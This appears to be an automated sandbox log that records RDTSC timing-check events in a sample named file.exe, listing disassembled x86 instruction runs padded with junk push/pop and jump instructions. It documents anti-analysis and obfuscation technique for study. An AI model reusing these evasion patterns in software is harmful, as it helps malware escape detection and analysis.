Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A60C2 second address: 8A60C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6405 second address: 8A640F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A640F second address: 8A6419 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C34D41ADCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A64C2 second address: 8A64F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F8C3524AD9Ch 0x0000000c jnp 00007F8C3524AD96h 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 mov edx, dword ptr [ebp+122D2DEBh] 0x0000001c lea eax, dword ptr [ebp+12489FE6h] 0x00000022 jl 00007F8C3524AD9Ch 0x00000028 adc ecx, 4A7A6392h 0x0000002e nop 0x0000002f push ebx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A64F5 second address: 8A653E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C34D41AE4h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jmp 00007F8C34D41AE4h 0x00000011 nop 0x00000012 sbb dh, FFFFFFF2h 0x00000015 lea eax, dword ptr [ebp+12489FA2h] 0x0000001b mov cx, 6781h 0x0000001f mov ecx, 6B9875F2h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A653E second address: 8A6548 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6548 second address: 8A6552 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C34D41ADCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A6552 second address: 881CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F8C3524AD98h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov cx, bx 0x00000026 sub dword ptr [ebp+122D1D52h], ebx 0x0000002c sbb dx, 08CCh 0x00000031 call dword ptr [ebp+1244C923h] 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a push edi 0x0000003b pop edi 0x0000003c jo 00007F8C3524AD96h 0x00000042 pop ebx 0x00000043 jnp 00007F8C3524AD9Ch 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFDD9 second address: 8DFE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C34D41AE8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFE01 second address: 8DFE0B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01E9 second address: 8E01ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01ED second address: 8E01F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01F7 second address: 8E01FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E01FB second address: 8E0216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F8C3524ADA0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E04A1 second address: 8E04DB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C34D41AD6h 0x00000008 jbe 00007F8C34D41AD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jp 00007F8C34D41AFAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E34BE second address: 8E34C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E34C5 second address: 8E34E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8C34D41AD6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jp 00007F8C34D41ADCh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E34E2 second address: 8E34E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E34E8 second address: 8E34EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E362B second address: 8E3639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3639 second address: 8E3656 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8C34D41AE7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5F39 second address: 8E5F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5F44 second address: 8E5F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5F48 second address: 8E5F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5AB0 second address: 8E5ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8C34D41AD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5C4D second address: 8E5C63 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C3524AD96h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d jc 00007F8C3524ADAAh 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB35F second address: 8EB38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8C34D41AD6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F8C34D41ADCh 0x00000013 jmp 00007F8C34D41AE3h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB38D second address: 8EB393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB393 second address: 8EB397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB397 second address: 8EB3CA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8C3524AD96h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8C3524ADA6h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8C3524AD9Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB3CA second address: 8EB3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8C34D41AD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EB833 second address: 8EB83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC66A second address: 8EC6BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE2h 0x00000007 pushad 0x00000008 jne 00007F8C34D41AD6h 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F8C34D41AE3h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jo 00007F8C34D41AD8h 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8C34D41ADEh 0x0000002a push esi 0x0000002b pop esi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF700 second address: 8EF706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF706 second address: 8EF70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF70B second address: 8EF713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EEEFD second address: 8EEF26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F8C34D41AD6h 0x00000009 jc 00007F8C34D41AD6h 0x0000000f pop eax 0x00000010 push esi 0x00000011 jmp 00007F8C34D41AE6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF174 second address: 8EF196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8C3524AD96h 0x0000000a jmp 00007F8C3524ADA7h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3655 second address: 8F365B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F365B second address: 8F368D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8C3524ADA8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jne 00007F8C3524AD98h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F368D second address: 8F3699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F8C34D41AD6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3848 second address: 8F385C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F8C3524AD96h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F385C second address: 8F387F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F8C34D41AE1h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F8C34D41AD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F387F second address: 8F3883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3A3B second address: 8F3A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F3A41 second address: 8F3A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C3524AD9Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FC4E0 second address: 8FC4E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA940 second address: 8FA944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA944 second address: 8FA98E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F8C34D41ADDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F8C34D41ADCh 0x00000011 ja 00007F8C34D41AD6h 0x00000017 jc 00007F8C34D41AD8h 0x0000001d push esi 0x0000001e pop esi 0x0000001f popad 0x00000020 pushad 0x00000021 push ecx 0x00000022 jmp 00007F8C34D41AE1h 0x00000027 pop ecx 0x00000028 jnp 00007F8C34D41AE2h 0x0000002e jo 00007F8C34D41AD6h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA98E second address: 8FA9A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F8C3524ADA0h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA9A5 second address: 8FA9AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA9AE second address: 8FA9B8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8C3524AD96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBBE1 second address: 8FBBEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBECB second address: 8FBED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBED1 second address: 8FBEDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F8C34D41AE2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FBEDE second address: 8FBEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8C3524AD96h 0x0000000a push edx 0x0000000b jnp 00007F8C3524AD96h 0x00000011 pop edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B672 second address: 85B67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8C34D41AD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B67C second address: 85B680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85B680 second address: 85B68A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF59B second address: 8FF5A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FF5A1 second address: 8FF5A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFBBB second address: 8FFBC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFBC4 second address: 8FFBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFBCA second address: 8FFBD4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFCF8 second address: 8FFD2B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8C34D41AF1h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C34D41ADCh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFD2B second address: 8FFD4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F8C3524AD9Ch 0x00000010 js 00007F8C3524AD9Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFD4F second address: 8FFD55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFD55 second address: 8FFD6B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8C3524AD96h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007F8C3524AD96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFEF0 second address: 8FFEFE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C34D41AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FFEFE second address: 8FFF15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900220 second address: 900224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 900224 second address: 90024D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnp 00007F8C3524AD96h 0x0000000d jmp 00007F8C3524AD9Ch 0x00000012 pop edi 0x00000013 popad 0x00000014 jp 00007F8C3524ADB7h 0x0000001a push eax 0x0000001b push edx 0x0000001c ja 00007F8C3524AD96h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90024D second address: 900260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41ADFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90ACDA second address: 90ACDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B222 second address: 90B226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B226 second address: 90B23A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F8C3524AD96h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B23A second address: 90B23E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B23E second address: 90B242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B513 second address: 90B519 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BE35 second address: 90BE5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8C3524AD9Ch 0x0000000c jng 00007F8C3524ADA2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BE5A second address: 90BE6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C34D41ADCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90BE6A second address: 90BE74 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C3524AD96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913401 second address: 913405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921554 second address: 92155B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923E88 second address: 923E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923E90 second address: 923E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923986 second address: 92398C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E14E second address: 92E156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93432D second address: 934331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9414FE second address: 941517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C3524ADA3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FE4A second address: 93FE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FFEE second address: 93FFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94012C second address: 94013C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jbe 00007F8C34D41AD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
